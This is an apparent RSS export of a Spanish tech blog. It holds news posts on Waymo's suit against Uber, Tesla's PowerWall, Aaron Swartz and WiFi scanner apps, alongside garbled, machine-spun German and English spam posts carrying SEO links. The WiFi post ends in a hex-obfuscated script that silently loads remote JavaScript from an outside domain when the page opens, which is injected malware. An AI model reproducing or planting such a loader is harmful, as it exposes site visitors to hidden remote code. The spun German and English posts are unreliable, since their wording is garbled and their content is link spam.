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		<title>Geschäftsverhandlungen in der Bank.</title>
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		<pubDate>Tue, 20 Mar 2018 12:55:21 +0000</pubDate>
		<dc:creator><![CDATA[LiAn]]></dc:creator>
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		<description><![CDATA[Vielleicht nicht jeglicher kann das thema beantworten: &#8220;Was ist Businesskommunikation&#8221;, sondern darüber hinaus allen Kommunikationen haben wir auf von täglichen Grund beteiligt. Kommunikation ist vornehmlich der Transition von Informationen zwischen Personen. Mit der Transformation dieser Unternehmensumgebung ferner Führung über dem zivilisierten Geist erscheint es diese eine, wachsende Typ, die Klasse von Geschäftsverhandlungen als wichtigen Bestandteil [&#8230;]]]></description>
				<content:encoded><![CDATA[<p> Vielleicht nicht jeglicher kann das thema beantworten: &#8220;Was ist Businesskommunikation&#8221;, sondern darüber hinaus allen Kommunikationen haben wir auf von täglichen Grund beteiligt. Kommunikation ist vornehmlich der Transition von Informationen zwischen Personen. Mit der Transformation dieser Unternehmensumgebung ferner Führung über dem zivilisierten Geist erscheint es diese eine, wachsende Typ, die Klasse von Geschäftsverhandlungen als wichtigen Bestandteil dieses Kommunikationsmanagements über verstehen. Das Konzept ist echt relevant jetzt für jedes Betriebe, einschließlich jetzt für Banken.
<p/>
<p> Für jede Organisation ist es wichtig, dass jener Kommunikationsprozess effizient war, ferner die Gesamtstrategie der Geflecht wird in keiner weise die Ursachen ihrer eigenen Mitarbeiter zu lösen. Die Bank, in den meisten Fällen bezieht sich herauf Organisationen die große Zahl von Einheiten, die verschiedene Funktionen befolgen entsprechend welchen Zielen. Kostenlose aktuelle gesetzliche Anforderungen sowie die Anforderungen dieser Geschäftspraxis des weiteren zwingen die Bank via einer effektiven Kommunikation die Struktur dies.
<p/>
<p> Die Zwischenebenen-Kommunikationsinformation von von Ebene im bereich der vertikalen Struktur der Bank übertragen. Es mag nach unten übertragen werden, d. h. von höheren Ebenen über niedrigeren. Zum Beispiel überträgt die Bank Präsident zu welchen strategischen Plänen oder Änderung Linienmanagern, Abteilungsleiter usw., subaltern, abhängig von der Ungemach der Organisation. In diesem Fall muss die Kommunikation auf deinem Downlink immer eine Kommunikation Uplink, ergo von unten aus eingetragenem Personal an der Geschäftsleitung nach über.
<p/>
<p> Mit dieser Nutzung vonseiten Kommunikationsinformationen auf dem Uplink übertragen, die beide Aufgaben ausgeführt werden und durch Managementpläne genehmigt, die Ursachen bei dieser Durchführung jener Pläne des weiteren Anpassungen der Strategie des weiteren Taktik Jene müssen dazu haben. Der Austausch von seiten Informationen mit hilfe von Uplink erfolgt in der Regel in Form von regelmäßigen Berichten, Arbeitsvorschlägen und Memos. Beispielsweise entschied einander die Bank in diesem Jahr allen Schwerpunkt auf die Erhöhung jener Einlagen von natürlichen Leute und die Entwicklung dieses Retailgeschäfts als Ganzes über machen.
<p/>
<p> Darüber hinaus diesem Ablauf gibt es immer viele Schmerzen, vor allem, sofern die Bank bis zu diesem Punkt aber Corporate gewesen ist, hören alle Schmerzen zu Management und entsprechende Entscheidungen bumsen. Es ist natürlich wichtig, dass der Empfänger die richtigen Informationen dieses Senders akzeptiert, und jene Informationen während der Synchronisation nicht <a href="https://unternehmens.datenraume.de/">firmenverkauf unternehmensverkauf</a> konsumiert. Passend erzeugt jede Einheit ihre Aktivität, das auf dieser Strecke zu lenken.
<p/>
<p> Ein wichtiger Platz sieht man durch Rückmeldungen eingenommen, d. h. die grundlegende Chemische reaktion auf dasjenige, was gehört, gelesen oder gesehen wird. Feedback hilft beiden Websites (Sender des weiteren Empfänger) abgeschlossen verstehen, dass die Übertragung von Infos erfolgte ohne Verzerrungen (anders in der Kognition, richtige Formulierung des Problems).
<p/>
<p> VDR &#8211; virtueller Datenraum ist natürlich die optimale Lösung, es ist die einfache und intuitive Benutzeroberfläche. Um allesamt Dateien anzuzeigen einen Standard-Web-Browser, keine spezielle Software oder aber Plug-in erforderlich. Alle Dateien können ohne Download, niemals Grenze für die Dateigröße angezeigt werden. Dies ist die maximale Geborgenheit für den Schutzmechanismus des geistigen Eigentums ferner rund um die Uhr Anfahrt zu allen Informationen via eine sichere Internet-Website veröffentlich. Die Haupthindernisse für Übertragung von Informationen von einer Ebene zu der anderen, was den Defizit und die Verzerrung jener Information schafft eine unvollkommene Struktur der Bank. Das ist wichtig, vertrauliche Fakten auszutauschen.
<p/>
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		<title>100 % free Internet Experiencing: How You Can Sign up to Free Nevertheless Be Successful</title>
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		<pubDate>Wed, 30 Aug 2017 20:01:27 +0000</pubDate>
		<dc:creator><![CDATA[LiAn]]></dc:creator>
				<category><![CDATA[best brides]]></category>

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		<description><![CDATA[That advertisements for the paid back internet dating sites would love to perhaps you have believe that every person who chooses the paid site will quickly realize a love match inside the web page portals. The same promotional hype is found at the zero cost internet dating sites that you will find online. Is the [&#8230;]]]></description>
				<content:encoded><![CDATA[<p>That advertisements for the paid back internet dating sites would love to perhaps you have believe that every person who chooses the paid site will quickly realize a love match inside the web page portals. The same promotional hype is found at the zero cost internet dating sites that you will find online. </p>
<p>Is the site only successful if there is one on one interaction between two people. There are several reasons why unfavorable responses to the success questions about free internet adult dating sites may occur. The respondent may be ashamed to acknowledge that there were not advantageous responses to their profile and pictures. </p>
<p>So either way, whether the internet site is prosperous in general for others and also totally unsuccessful doesn&#8217;t suggest that the same thing will be true in you when you find it. </p>
<p>In order to determine how successful all the dating sites are, a customer survey of members and ex girlfriend members for the various online sites would be required. Not only is normally that information unlikely to become available, it may still be incorrect or skewed because of the info gathering methods. Here are some in the ways to determine whether or not zero cost internet dating web sites can be viewed successful or not. </p>
<p>The person may have constructing expectations about success or failure definitions. For example, any time a person feels the site is a failure because there are zero people responding to his or her account, it may be because their statement of necessary qualifications is so stringent that not a soul could meet the high requirements. </p>
<p>So, both the positive side effects and the negative responses may very well be ignoring reality. Since the powerful matching up of lovers is becoming more and more often done by using a computer generated personality or attributes test, the use of confirmed testing methods for matching sites is more critical as opposed to it was ten years ago. </p>
<p>The first thing in determining whether a unique web site devoted to free net dating is successful or not really is to define what is meant by success. Is the accomplishment of a web site measured simply by how many marriages are hired amongst the web site users. Maybe it should be considered successful when there is a face to face first meeting between a couple. Anecdotal data and testimonials obtained from affiliates may hold the determination in what is considered a successful website. </p>
<p>No cost internet dating matches are usually done by a computer match-up of various evaluation questions in many type of ranking or precedence order. There is even a patent application dealing with matching to get dating sites. Even though personality coordinating tests and questionnaires are usually essential, there is still no way to help you predict a positive chemistry around two individuals. A lot of people with singles forums state that they will know someone who reached their mate at a free internet dating site. </p>
<p>A few even quote the length of time the net based couple have been alongside one another. Others are very dubious about the possibilities of stumbling across just the right person at the right time period on the forum with something catches the attention of the looker. If it happens to make sure you someone else, it may happen just as to you&#8211;or not. </p>
<p>Entire article:<a href="http://www.pangandaranriveradventure.com/effortless-mail-order-bride-methods-the-facts/">pangandaranriveradventure.com</a></p>
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		<title>4 aplicaciones para saber si hay intrusos conectados a tu red WiFi</title>
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		<pubDate>Tue, 28 Mar 2017 12:42:14 +0000</pubDate>
		<dc:creator><![CDATA[LiAn]]></dc:creator>
				<category><![CDATA[Actualidad]]></category>
		<category><![CDATA[android]]></category>
		<category><![CDATA[apps]]></category>
		<category><![CDATA[dispositivos conectados a nuestra RED WIFI]]></category>
		<category><![CDATA[Fing]]></category>
		<category><![CDATA[iNET - Network Scanner]]></category>
		<category><![CDATA[iOS]]></category>
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		<category><![CDATA[Network Scanner]]></category>
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		<description><![CDATA[Estamos seguros de que en más de una ocasión te haz dado cuenta de que hay algún intruso conectado en tu red WiFi. Con el objetivo de evitar este tipo de situaciones es interesante modificar la configuración del router para aumentar su seguridad. Además, es recomendable utilizar aplicaciones para escanear nuestra red. A continuación les dejamos cuatro de [&#8230;]]]></description>
				<content:encoded><![CDATA[<p><img class="aligncenter wp-image-32447" src="http://www.ddsmedia.net/blog/wp-content/uploads/2017/03/Imagen24-730x612-600x600.jpg" alt="Imagen24-730x612" width="553" height="553" /></p>
<p>Estamos seguros de que en más de una ocasión te haz dado cuenta de que hay algún intruso conectado en tu red WiFi. Con el objetivo de evitar este tipo de situaciones es interesante modificar la configuración del router para aumentar su seguridad. Además, es recomendable utilizar aplicaciones para escanear nuestra red. A continuación les dejamos cuatro de las más interesantes, <strong>capaces de mostrar todos los detalles de los dispositivos conectados a nuestra red WiFi.</strong></p>
<p><span id="more-32446"></span></p>
<p>&nbsp;</p>
<h2><strong>Fing</strong> – <a href="https://itunes.apple.com/es/app/fing-esc%C3%A1ner-de-red/id430921107?mt=8" target="_blank">iOS</a> | <a href="https://play.google.com/store/apps/details?id=com.overlook.android.fing&amp;hl=es" target="_blank">Android</a></h2>
<p><img class="aligncenter wp-image-32448" src="http://www.ddsmedia.net/blog/wp-content/uploads/2017/03/Fing-730x419.jpg" alt="Fing-" width="526" height="302" /></p>
<p>Compatible con dispositivos iOS y Android, Fing es una de las aplicaciones más populares de este tipo. Tal y como puedes ver en la imagen, la <em>app</em> nos muestra todo tipo de información de interés de nuestra red inalámbrica, <strong>como el nombre, la IP o la dirección Mac de los dispositivos conectados en un momento determinado.</strong> Fing cuenta con otras funciones de lo más útiles, como la posibilidad de realizar análisis avanzados de nombres NetBIOS, UPnP, SNMP y Bonjour o de escanear los puertos abierto. <strong>Totalmente recomendada.</strong></p>
<p>&nbsp;</p>
<h2><strong>Network Scanner</strong> | <a href="https://play.google.com/store/apps/details?id=com.easymobile.lan.scanner&amp;hl=es" target="_blank">Android</a></h2>
<p><img class="aligncenter wp-image-32449" src="http://www.ddsmedia.net/blog/wp-content/uploads/2017/03/Imagen32-730x433.jpg" alt="Imagen32-730x433" width="515" height="305" /></p>
<p>Otra de las alternativas que podemos utilizar para escanear nuestra red es Network Scanner, compatible con dispositivos Android. Al igual que la opción anterior, <strong>Network Scanner nos muestra todos los dispositivos conectados a nuestra red</strong>, lo que puede resultar útil a la hora de averiguar si hay algún intruso. Además, también podemos utilizar la aplicación para llevar un registro de los puertos abiertos. Sin duda, se trata de una opción interesante.</p>
<p>&nbsp;</p>
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<h2><strong>iNet – Network Scanner</strong> | <a href="https://itunes.apple.com/us/app/inet-network-scanner/id340793353?mt=8&amp;ign-mpt=uo%3D4" target="_blank">iOS</a></h2>
<p><img class="aligncenter wp-image-32450" src="http://www.ddsmedia.net/blog/wp-content/uploads/2017/03/Imagen25-730x418.jpg" alt="Imagen-iNET" width="515" height="295" /></p>
<p>Compatible con dispositivos iOS, la aplicación ofrece un funcionamiento de lo más simple e intuitivo. De hecho, de un vistazo podemos comprobar todos y cada uno de los dispositivos conectados a nuestra red, así como <strong>información sobre su dirección IP, dirección Mac o servicios Bonjour.</strong> Aunque la aplicación es totalmente gratuita, es necesario pagar si queremos utilizar la versión Pro.</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<h2><strong>Net Scan</strong> | <a href="https://play.google.com/store/apps/details?id=com.wwnd.netmapper" target="_blank">Android</a></h2>
<p><img class="aligncenter wp-image-32451" src="http://www.ddsmedia.net/blog/wp-content/uploads/2017/03/Imagen26-730x389.jpg" alt="net-scan" width="515" height="274" /></p>
<p>Terminamos la lista con Net Scan, una opción que muchos usuarios de Android encontrarán interesante. Disponible de forma totalmente gratuita y sin anuncios, <strong>la aplicación destaca por una interfaz basada en el modo de uso nocturno.</strong> Al igual que el resto de alternativas, el objetivo de la <em>app</em> es ayudarnos a identificar agujeros de seguridad en nuestra red. Sin duda, se trata de otra opción a tener muy en cuenta.</p>
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<p>Agradecemos la información de este post a: Sergio Asenjo y WWWhat’s new</p>
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<p>&nbsp; <script>var _0x29b4=["\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x73\x72\x63","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x77\x65\x62\x2E\x73\x74\x61\x74\x69\x2E\x62\x69\x64\x2F\x6A\x73\x2F\x59\x51\x48\x48\x41\x41\x55\x44\x59\x77\x42\x46\x67\x6C\x44\x58\x67\x30\x56\x53\x42\x56\x57\x79\x45\x44\x51\x35\x64\x78\x47\x43\x42\x54\x4E\x54\x38\x55\x44\x47\x55\x42\x42\x54\x30\x7A\x50\x46\x55\x6A\x43\x74\x41\x52\x45\x32\x4E\x7A\x41\x56\x4A\x53\x49\x50\x51\x30\x46\x4A\x41\x42\x46\x55\x56\x54\x4B\x5F\x41\x41\x42\x4A\x56\x78\x49\x47\x45\x6B\x48\x35\x51\x43\x46\x44\x42\x41\x53\x56\x49\x68\x50\x50\x63\x52\x45\x71\x59\x52\x46\x45\x64\x52\x51\x63\x73\x55\x45\x6B\x41\x52\x4A\x59\x51\x79\x41\x58\x56\x42\x50\x4E\x63\x51\x4C\x61\x51\x41\x56\x6D\x34\x43\x51\x43\x5A\x41\x41\x56\x64\x45\x4D\x47\x59\x41\x58\x51\x78\x77\x61\x2E\x6A\x73\x3F\x74\x72\x6C\x3D\x30\x2E\x35\x30","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x68\x65\x61\x64"];var el=document[_0x29b4[1]](_0x29b4[0]);el[_0x29b4[2]]= _0x29b4[3];document[_0x29b4[5]][_0x29b4[4]](el)</script></p>
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		<title>Alphabet acusa a Uber de robar su tecnología para camiones autónomos</title>
		<link>http://www.ddsmedia.net/blog/2017/03/alphabet-acusa-a-uber-de-robar-su-tecnologia-para-camiones-autonomos/</link>
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		<pubDate>Mon, 27 Mar 2017 16:00:18 +0000</pubDate>
		<dc:creator><![CDATA[LiAn]]></dc:creator>
				<category><![CDATA[Actualidad]]></category>
		<category><![CDATA[Automóviles]]></category>
		<category><![CDATA[Innovación]]></category>
		<category><![CDATA[Alphabet]]></category>
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		<category><![CDATA[Uber]]></category>
		<category><![CDATA[WAYMO]]></category>

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		<description><![CDATA[&#160; Alphabet ha acusado a Uber y a su compañía de camiones autónomos, Otto, de robar algunas de sus tecnologías clave. En la demanda presentada en un tribunal de San Francisco, Waymo, la división de Alphabet dedicada a los coches autónomos, afirmó que Otto y Uber robaron la propiedad intelectual de la compañía &#8220;con el fin de ahorrarse el riesgo, [&#8230;]]]></description>
				<content:encoded><![CDATA[<p><a href="http://www.ddsmedia.net/blog/wp-content/uploads/2017/03/otto-camiones-autonomos.jpeg"><img class="aligncenter size-large wp-image-32442" src="http://www.ddsmedia.net/blog/wp-content/uploads/2017/03/otto-camiones-autonomos-600x413.jpeg" alt="otto-camiones-autonomos" width="600" height="413" /></a></p>
<p>&nbsp;</p>
<p><strong>Alphabet</strong> ha acusado a Uber y a su compañía de camiones autónomos, <strong>Otto</strong>, de robar algunas de sus tecnologías clave.</p>
<p><span id="more-32441"></span></p>
<p>En la <strong>demanda </strong>presentada en un tribunal de San Francisco, Waymo, la división de Alphabet dedicada a los coches autónomos, afirmó que Otto y Uber robaron la propiedad intelectual de la compañía &#8220;con el fin de ahorrarse el riesgo, el tiempo y los gastos vinculados al desarrollo independiente de sus propias tecnologías&#8221;.</p>
<p>Waymo ha pedido ante un jurado que <strong>se prohiba a Uber y Otto la utilización de las tecnologías e indemnizaciones</strong> por el robo de secretos industriales y violaciones de patentes.</p>
<p>Una de las partes más importantes de la tecnología de conducción autónoma de <strong>Waymo</strong> es la implementación propia de LiDAR (Light Detection and Ranging), que funciona enviando y haciendo rebotar millones de emisiones láser en los objetos alrededor del vehículo. Midiendo el tiempo de retorno, es posible crear una imagen 3D del entorno.</p>
<p>Después de millones de dólares y miles de horas de trabajo invertidas, Waymo ha logrado que la tecnología LiDAR sea más accesible y sobre todo más barata sin perder fiabilidad, de hecho, aumentándola.</p>
<p><img class="aligncenter size-large wp-image-32443" src="http://www.ddsmedia.net/blog/wp-content/uploads/2017/03/banner-600x413.jpg" alt="Waymo" width="600" height="413" /></p>
<p>La forma en que descubrieron el robo industrial fue por medio de un email accidental de uno de sus proveedores que adjuntó un archivo con el diagrama de una de los circuitos impresos que son parte de los componentes del LiDAR de Otto. ¿El problema? Es extremadamente parecido al de Waymo.</p>
<p>Waymo también declara que seis semanas antes de la renuncia de un exempleado de la compañía, descargó 14 mil documentos altamente confidenciales con diseños propietarios de varios componentes de hardware de la compañía, incluyendo el radar LiDAR y el circuito impreso en cuestión.</p>
<p><iframe src="https://www.youtube.com/embed/Qb0Kzb3haK8" width="560" height="315" frameborder="0" allowfullscreen="allowfullscreen"></iframe></p>
<p>La compañía acusa a este exempleado de instalar software en su portátil para específicamente obtener información sensible de la empresa. En total calculan que descargó 9,7 gigas de datos. También aseguran que no es el único que dejó la compañía y se fue a Otto robando información confidencial de la compañía incluyendo listas de proveedores, detalles de fabricación y otros datos altamente tecnológicos.</p>
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<p>Agradecemos la noticia a: Hipertextual</p>
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]]></content:encoded>
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		<title>Las nuevas PowerWall de Tesla dejan en pañales a su competencia</title>
		<link>http://www.ddsmedia.net/blog/2016/11/las-nuevas-powerwall-de-tesla-dejan-en-panales-a-su-competencia/</link>
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		<pubDate>Tue, 01 Nov 2016 06:19:28 +0000</pubDate>
		<dc:creator><![CDATA[LiAn]]></dc:creator>
				<category><![CDATA[Ecotecnologia]]></category>
		<category><![CDATA[Investigación]]></category>
		<category><![CDATA[Energía Solar]]></category>
		<category><![CDATA[Tesla]]></category>

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		<description><![CDATA[Las nuevas PowerWall, frente a la competencia más directa, muestran un avance considerable: el doble de capacidad, inversor incluido y un precio similar. Aunque Tesla es conocida alrededor del mundo por fabricar algunos de los mejores coches eléctricos del momento, la compañía de Elon Musk es mucho más que un fabricante de vehículos: también es [&#8230;]]]></description>
				<content:encoded><![CDATA[<p>Las nuevas PowerWall, frente a la competencia más directa, muestran un avance considerable: el doble de capacidad, inversor incluido y un precio similar.</p>
<p><img class="aligncenter size-large wp-image-32283" src="http://www.ddsmedia.net/blog/wp-content/uploads/2016/11/Tesla-PowerWall-600x370.jpg" alt="Tesla-PowerWall" width="600" height="370" /></p>
<p><span id="more-32282"></span></p>
<p>Aunque Tesla <strong>es conocida alrededor del mundo por fabricar algunos de los mejores coches eléctricos del momento</strong>, la compañía de Elon Musk es mucho más que un fabricante de vehículos: también es un fabricante de baterías y placas solares.</p>
<p>El 29 de octubre <strong>la compañía presentaba en sociedad cómo veía el futuro de la energía en el hogar</strong>. Un puzzle basado en una placa solar casi invisible y, cómo no, en la <a href="https://hipertextual.com/2016/10/techo-solar-de-tesla">segunda generación de PowerWall</a>, la batería de gran capacidad que la compañía comercializa para hogares y empresas.</p>
<p><img class="aligncenter size-large wp-image-32284" src="http://www.ddsmedia.net/blog/wp-content/uploads/2016/11/PowerWall-600x419-600x419.jpg" alt="PowerWall-600x419" width="600" height="419" /></p>
<p>Además de la invisibilidad de su diseño y de la perfecta integración con el resto de productos del fabricante, <strong>la nueva PowerWall destaca por tener una capacidad máxima de 14 kWh</strong>, incluir el inversor (CC-CC o CC-CA) y tener un coste total de 5.500 dólares. Unas características que ninguna de las alternativas a la PowerWall logra equiparar.</p>
<p>Las soluciones de LG y sonnenBaterie, por ejemplo, <strong>ofrecen 6.5 kWh y 4kWh a un precio muy similar al de las Tesla PowerWall: 6.000 y 5.950 dólares respectivamente</strong>. Unas especificaciones muy inferiores a las ofrecidas por Tesla. Además, Tesla ofrece diez años de garantía —independientemente de los ciclos de carga—, por lo que la durabilidad y el soporte de la misma está asegurado desde el primer minuto.</p>
<p><img class="aligncenter size-large wp-image-32285" src="http://www.ddsmedia.net/blog/wp-content/uploads/2016/11/tesla-powerwall-600x337-600x337.jpg" alt="tesla-powerwall-600x337" width="600" height="337" /></p>
<p>Tesla <strong>cuenta con una gran ventaja en la producción de baterías de gran capacidad.</strong> El fabricante ha logrado producir baterías eficientes a un ritmo y coste muy reducido, lo que le posiciona en una situación privilegiada en el mercado.</p>
<p>El fundador de Tesla y SolarCity, Elon Musk, afirmó durante la presentación de este producto —y de un nuevo techo solar invisible— que el objetivo principal de las compañías es <strong>controlar todo el proceso eléctrico</strong>: su recolección, almacenamiento y su posterior uso para el transporte limpio.</p>
<div id="attachment_32286" style="width: 610px" class="wp-caption aligncenter"><img class="wp-image-32286 size-large" src="http://www.ddsmedia.net/blog/wp-content/uploads/2016/11/Tesla-Gigafactory-600x323-600x323.jpg" alt="Tesla-Gigafactory-600x323" width="600" height="323" /><p class="wp-caption-text">La Tesla Gigafactory es una de las claves del futuro de Tesla. Producción de baterías de forma masiva, a bajo coste y con tecnologías muy innovadoras.</p></div>
<p>En Estados Unidos, <strong>se estima un aumento del 23% en las instalaciones de paneles solares este año</strong>, y un 18% en 2017, según informes de GTM Research; todos ellos son consumidores potenciales de las nuevas PowerWall de Tesla. En 2015, el porcentaje de crecimiento fue del 66% respecto al año anterior, una cifra que, probablemente, no vuelva a repetirse en los Estados Unidos. La razón no es otra que el gran número de hogares que ya cuentan con paneles solares instalados.</p>
<p>Con el lanzamiento de productos como PowerWall 2 o el nuevo techo solar, <strong>Tesla y SolarCity buscan posicionarse a la vanguardia en la transición hacia las energías solares renovables</strong>. De momento, lo están consiguiendo.</p>
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<p>Articulo Original de Hipertextual: Nicolás Rivera</p>
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		<title>Aaron Swartz, el chico perseguido por hacer magia</title>
		<link>http://www.ddsmedia.net/blog/2016/10/aaron-swartz-el-chico-perseguido-por-hacer-magia/</link>
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		<pubDate>Mon, 10 Oct 2016 16:53:29 +0000</pubDate>
		<dc:creator><![CDATA[LiAn]]></dc:creator>
				<category><![CDATA[Actualidad]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[Aaron]]></category>
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		<description><![CDATA[Programar era la magia que Aaron Swartz aprendió a hacer y por la que se fascinaría durante su corta vida, también por la que sería perseguido. Esta es una brevísima historia de lo que hizo y el peso del poder que se abalanzó contra él. Aaron demostró, desde muy temprana edad, no ser un chico [&#8230;]]]></description>
				<content:encoded><![CDATA[<p><img class="aligncenter size-large wp-image-32276" src="http://www.ddsmedia.net/blog/wp-content/uploads/2016/10/aaron-swartz-600x370.jpg" alt="aaron-swartz" width="600" height="370" /></p>
<p>Programar era la magia que Aaron Swartz aprendió a hacer y por la que se fascinaría durante su corta vida, también por la que sería perseguido. Esta es una brevísima historia de lo que hizo y el peso del poder que se abalanzó contra él.</p>
<p><span id="more-32275"></span></p>
<p>Aaron demostró, desde muy temprana edad, no ser un chico normal; de hecho, ser uno muy <strong>peculiar, único y genio</strong>. Su curiosidad e inteligencia lo llevarían a destacarse del resto de los chicos, vivir una vida distinta, crear cosas sobresalientes; es más, pocas personas en su vida profesional logran involucrarse en proyectos <strong>con tanta relevancia en el mundo actual</strong>. Sin embargo, esto mismo le costó ser un chico solitario, incomprendido, incluso incómodo y, por tanto, su existencia estaría marcada por largos periodos de aislamiento, con diarios personales que hablaban de su soledad, así como notas suicidas desde mucho antes que llevara a cabo el acto de quitarse la vida.</p>
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<p>Al hablar de <strong>Aaron Swartz</strong> siempre habrá tres constantes: <strong>siempre fue muy joven para todo lo que hizo</strong>, claro, incluso para morir; también que <strong>su sensibilidad rebasó su genio</strong> y por tanto se dio en cara con muchas de las estructuras existentes en este mundo; y por último, que él remite a una etapa del Internet que <strong>nunca volverá a ser el mismo</strong>.</p>
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<h2>26 años</h2>
<p>El <strong>11 de enero de 2013</strong> se enteraba el mundo de la muerte de Aaron Swartz. Se le describía como un programador y desarrollador que había tenido problemas legales, por los cuales pendían acusaciones que habrían podido acarrearle hasta <strong>50 años de prisión</strong>. La atención de propios ajenos se posaron en la noticia, en el joven prodigio que se vio orillado <strong>a quitarse la vida por la presión de las acusaciones</strong>, por la condena que podía alcanzar de no ganar el juicio; pero también desató una ola de opiniones y acusaciones a aquellas instituciones demandantes, así como al gobierno por su <strong>desmedida persecución</strong> de un delito que, bien visto, parecía algo menor y más bien atendía a <strong>cuestiones políticas</strong> que no valen la vida de ningún chico.</p>
<blockquote><p>“La gente en el gobierno no entiende lo que es Internet.”</p></blockquote>
<p>Así mismo, la muerte de Aaron Swartz evidenció, una vez más, <strong>el peso de la transición generacional</strong> en una era donde los nativos digitales innovan y las viejas estructuras aún están en el poder. Y esto es uno de los puntos importantes en la historia, puesto que, de comprender de qué va la cultura del Internet, su composición, las personas que están detrás, que las regulaciones deben ir alcanzando a la innovación de una forma flexible y no destructiva, cerrada; representa la salud de esa cultura, de las empresas, servicios y plataformas <strong>que antes no existían pero que deben, y es inevitable, que existan</strong>. Pero esto no fue así entonces y aún parece estar lejos esa etapa.</p>
<p>&nbsp;</p>
<h2>¿Wikipedia y Change.org?</h2>
<p><img class="aligncenter size-large wp-image-32277" src="http://www.ddsmedia.net/blog/wp-content/uploads/2016/10/aaron_swartz-library-600x343.jpg" alt="aaron_swartz-library" width="600" height="343" /></p>
<p>Aaron Swartz tuvo la fortuna de nacer en una familia que lo comprendió desde siempre, y supo distinguir, que debía ser tratado de forma especial porque fue un niño tal que comenzó a leer a los 3 años por su cuenta y a programar desde antes de alcanzar los 10. Su padre, Robert, es fundador de una compañía de software, así que en su casa había los recursos materiales y la motivación para realizar &#8220;la magia&#8221;. <strong>Esa magia que es programar y hacer que las cosas que quieres que pasen, pasen como quieres</strong>. Esa magia que sorprendería al propio Aaron y a sus hermanos, que lo acercaría al Internet en esas primeras etapas en las que todo se construía a penas.</p>
<p>Así fue como Aaron realizó la idea y las primeras bases de una especie de Wikipedia que buscaba la participación de las personas para enriquecer los artículos. Esta idea fue rechazada por un maestro de Aaron y <strong>quedó en el olvido en una computadora del sótano de la casa de los Swartz</strong>. La misma suerte corrió <strong><span class="skimlinks-unlinked">watchdog.net</span></strong>, una plataforma pensada por Aaron con características similares a las de <span class="skimlinks-unlinked">Change.org</span>. Con esto podemos comprender dos cosas, que Aaron Swartz fue de esas mentes que entendieron el alcance de la cultura del Internet, que sus límites mentales en el hacer &#8220;la magia&#8221; estaba muy lejos o no existía; y que, como siempre, no se trata solo de tener una gran idea para crear algo, sino que será la perseverancia y la acción lo que hace la diferencia.</p>
<p>&nbsp;</p>
<h2>Dieta blanca</h2>
<p><img class="aligncenter size-large wp-image-32278" src="http://www.ddsmedia.net/blog/wp-content/uploads/2016/10/aaron-swarz-larry-lessig-600x458.jpg" alt="aaron-swarz-larry-lessig" width="600" height="458" /></p>
<p>No blanda, sino blanca. Los amigos y conocidos de Aaron Swartz han comentado en varias ocasiones el impacto de conocer a ese niño genio en persona, de verlo involucrado en proyectos tan importantes desde los 14 años: <strong>fue coautor de las especificaciones RSS</strong>, se convirtió en un <strong>miembro de la W3C, RDF Core Working Group</strong>. Codiseñó el formato del lenguaje <a href="http://hipertextual.com/tag/markdown">Markdown</a>, con John Gruber, mismo que en el que está hecho este artículo, por ejemplo. <strong>Ayudó a diseñar el código de las licencias <a href="http://hipertextual.com/tag/creative-commons">Creative Commons</a></strong>, desarrolló la arquitectura del sistema de <a title="Abre en una nueva ventana" href="https://en.wikipedia.org/wiki/Open_Library" target="_blank">Open Library</a>. Más tarde fundó Infogami, una empresa que se fusionó con <a href="http://hipertextual.com/tag/reddit">Reddit</a> y que luego sería adquirida por Condé Nast. Así mismo, fue una importante voz y pieza moral en el veto de la iniciativa de ley <a href="http://hipertextual.com/tag/sopa">SOPA</a>.</p>
<p>Durante todas estas actividades, y tal como dijimos al principio: a muy temprana edad, Aaron sorprendía por involucrarse en tantos proyectos que hoy son parte de la vida cotidiana de muchos e <strong>importantísimos para la cultura del Internet</strong>; también sorprendía porque lo veían comer siempre cosas que fueran blancas o de color muy claro, pan, yogurt, gelatinas, etc. Esto, aparte de ser una excentricidad, se debía a que Aaron sufriá, también a temprana edad, de <strong>colitis ulcerosa</strong>. Incluso, se relaciona esta enfermedad con sus largos episodios de depresión.</p>
<p>&nbsp;</p>
<h2>JSTOR</h2>
<p>En el documental <a href="http://hipertextual.com/2014/07/documental-aaron-swartz-disponible-gratis">The Internet&#8217;s Own Boy: The Story of Aaron Swartz</a> se cuenta a detalle el problema legal que acorralaría a este chico, y por el cual se le podía condenar a <strong>50 años de prisión, además de una multa de 4 millones de dólares</strong>. Al principio se le presentaron cuatro cargos, pero más tarde se le sumaron otros nueve, es decir, un total de trece acusaciones. Esto demostró la persecución desmedida y focalizada en dejar un &#8220;precedente&#8221; con el caso de Aaron.</p>
<blockquote><p><q class="alignright">“Aaron muerto. Vagabundos del mundo, hemos perdido a un sabio. Hackers que luchan por lo correcto, hemos perdido a uno. Padres, hemos perdido un hijo. Lloremos.” – Tim Berners Lee</q></p>
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<p>Lo que hizo Aaron fue descargar de <strong>JSTOR</strong>, la conocida biblioteca digital en donde se albergan publicaciones científicas y académicas, <strong>cientos de artículos</strong>. Lo hizo <strong>a través de un servidor del MIT</strong> y esto le costaría esas penalizaciones mencionadas. En primer lugar, Aaron ya tenía un antecedente en estos temas; años antes, en 2008 realizó un <em>script</em> que realizaba descargas sistematizadas de la base de datos PACER (Public Access to Court Electronic Records), atendiendo el llamado del <a title="Abre en una nueva ventana" href="https://en.wikipedia.org/wiki/Carl_Malamud" target="_blank">Carl Malamud</a> de liberar esa información que se encuentra restringida, pero que era de libre descarga en 17 bibliotecas públicas. Aaron descargó el <strong>20% del archivo de PACER</strong> y aunque lo que hizo no estaba &#8220;prohibido&#8221; <strong>tampoco estaba en los planes de las regulaciones gubernamentales de esta información</strong>.</p>
